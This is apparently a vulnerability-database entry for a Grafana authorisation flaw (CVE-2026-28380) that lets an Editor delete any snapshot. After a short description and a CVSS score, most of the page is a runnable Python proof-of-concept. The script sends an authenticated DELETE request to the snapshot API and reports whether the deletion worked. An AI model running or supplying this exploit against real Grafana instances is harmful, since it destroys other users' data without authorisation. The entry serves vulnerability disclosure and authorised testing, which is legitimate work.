Any Editor could delete any snapshot, even if they have no access to read or write them.
CVSS Details
CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Configurations (Affected Products)
No configuration data available.
Grafana (具体受影响版本请参考官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
"""
PoC for CVE-2026-28380: Grafana Arbitrary Snapshot Deletion
Description: Demonstrates how an Editor role can delete any snapshot.
"""
def exploit(target_url, api_key, snapshot_key):
"""
Attempts to delete a snapshot using Editor privileges.
Args:
target_url (str): The base URL of the Grafana instance (e.g., http://localhost:3000)
api_key (str): API Key with Editor role
snapshot_key (str): The key/UID of the snapshot to delete
"""
headers = {
"Authorization": f"Bearer {api_key}",
"Content-Type": "application/json"
}
# Grafana API endpoint for deleting a snapshot
url = f"{target_url}/api/snapshots/{snapshot_key}"
print(f"[*] Attempting to delete snapshot: {snapshot_key}")
try:
response = requests.delete(url, headers=headers)
if response.status_code == 200:
print(f"[+] Success: Snapshot {snapshot_key} deleted successfully.")
elif response.status_code == 401:
print(f"[-] Failed: Unauthorized. Check API Key.")
elif response.status_code == 403:
print(f"[-] Failed: Forbidden. User might not have Editor role.")
elif response.status_code == 404:
print(f"[-] Failed: Snapshot not found.")
else:
print(f"[-] Unexpected Status Code: {response.status_code}")
print(response.text)
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
# Configuration
TARGET = "http://your-grafana-instance.com:3000"
EDITOR_API_KEY = "eyJrIjoi..." # Replace with a valid Editor API Key
TARGET_SNAPSHOT_KEY = "TARGET_SNAPSHOT_UID" # Replace with the snapshot key to delete
exploit(TARGET, EDITOR_API_KEY, TARGET_SNAPSHOT_KEY)